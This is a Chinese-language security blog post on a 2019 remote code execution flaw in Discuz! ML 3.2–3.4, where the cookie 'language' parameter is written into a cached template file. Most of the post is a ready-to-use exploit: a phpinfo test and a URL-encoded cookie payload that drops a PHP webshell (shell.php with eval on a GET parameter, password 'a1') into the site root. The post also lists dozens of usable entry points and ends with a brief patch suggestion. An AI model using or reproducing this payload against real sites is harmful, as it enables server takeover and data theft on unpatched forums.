关注我们

Discuz Ml v3.x 前台Getshell姿势

遇梦遇梦 安全文摘 2019-07-14 205177 0

0x00  受影响的版本

Discuz! ML v.3.4

Discuz! ML v.3.3

Discuz! ML v.3.2

0x01  漏洞描述

2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。

本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的

cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行

phpinfo验证

Ov1T_2132_language='.phpinfo().';

Discuz Ml v3.x 前台Getshell姿势

Getshell——EXP:

修改Cookie中的xxxx_language字段为以下内容即可

%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27

访问网站首页则会在根目录下生成木马文件,shell.php 密码为a1


EXP利用的方法:

大约有60多个点可以用的。比如论坛主页

Discuz Ml v3.x 前台Getshell姿势

其他利用点:

Discuz Ml v3.x 前台Getshell姿势

Getshell——EXP解码后:

'.+file_put_contents('shell.php',urldecode('<?php+eval($_GET["a1"]);?>')).'

修改exp为_language=1.1.1;使其报错

Discuz Ml v3.x 前台Getshell姿势

修复建议

截止到本文发布之前,补丁还没有出来。

建议修改source/function/function_core.php 644行为

 $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_':'_').$templateid.'_'.str_replace('/','_', $file).'.tpl.php';

文由HACK学习呀

版权声明

本文仅代表作者观点,不代表黑白网立场。
如文章侵犯了您的权利,请通过邮箱联系我们删除。
详情查看:版权纠纷
E-Mail:server@heibai.org

喜欢0发布评论

评论列表

发表评论

  • 昵称(必填)
  • 邮箱
  • 网址